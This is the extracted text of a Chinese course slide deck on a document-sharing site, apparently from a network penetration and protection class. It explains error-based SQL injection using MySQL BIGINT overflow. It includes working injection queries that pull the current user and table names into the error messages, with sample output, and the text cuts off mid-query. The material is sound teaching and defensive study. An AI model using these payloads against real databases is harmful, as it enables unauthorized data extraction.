网络渗透与防护 课中学习 数据库漏洞-mysql原理-ppt(PPT).pptxVIP

  • 5
  • 0
  • 约2.97千字
  • 约 14页
  • 2020-09-13 发布于北京
  • 举报

网络渗透与防护 课中学习 数据库漏洞-mysql原理-ppt(PPT).pptx

知识点:基于MySQL BIGINT溢出错误的SQL注入By王隆杰漏洞利用的两个前提01MySQL 5.5.5版本存在BIGINT溢出02网站存在SQL注入漏洞MySQL的整数类型BIGINT溢出错误BIGINT的长度为8字节,也就是说长度为64比特这种数据类型最大的有符号值为9223372036854775807。当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。mysql select (9223372036854775807+1);ERROR 1690 (22003): BIGINT value is out of range in (9223372036854775807 + 1)BIGINT溢出错误对于无符号整数来说,BIGINT可以存放的最大值?为18446744073709551615?,同样,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致“BIGINT value is out of range”错误。mysql select (18446744073709551615+1);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in (18446744073709551615 + 1)BIGINT溢出错误如果我们对数值0逐位取反(~0),结果会怎么样呢? 当然是得到一个无符号的最大BIGINT值。如果对(~0)结果进一步运算,同样会出错。mysql select (~0);+----------------------+| (~0) |+----------------------+| 18446744073709551615 |+----------------------+1 row in set (0.00 sec)mysql select (1-~0);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in (1 - ~(0))’以下SQL语句将返回16进制0MySQL中,如果一个查询成功返回,其返回值为0mysql select*from(select user())x;+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)利用子查询引起BITINT溢出,从而设法提取数据所以对0进行逻辑非的话就会变成1,如果我们对类似(?select*from(select user())x?)这样的查询进行逻辑非的话,就会有:mysql select(!(select*from(select user())x)-~0);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ((not((select root@localhost from dual))) - ~(0))构建特殊的语句可以在错误信息中看到数据库中的表名mysql select(!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ((not((select guestbook from dual))) - ~(0))‘其中limit 0,1表示从第0行起显示1行,因此以上看到了数据库中的第1个表的名称构建更特殊的语句可以在错误信息中看到数据库中的表名mysql select(!(select*from(select table_name from information_schema.tables where table_schema=database() limit 1,1)x)-~0);ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ((not((select users from dual))) - ~(0))‘其中limit 1,1表示从第1行起显示1行,因此以上看到数据库中第2个表的名称,如此重复就可以得到数据中全部的表名构建特殊的语句可以在错误信息中看到指定表的列名mysql select !(sele

文档评论(0)

1亿VIP精品文档

相关文档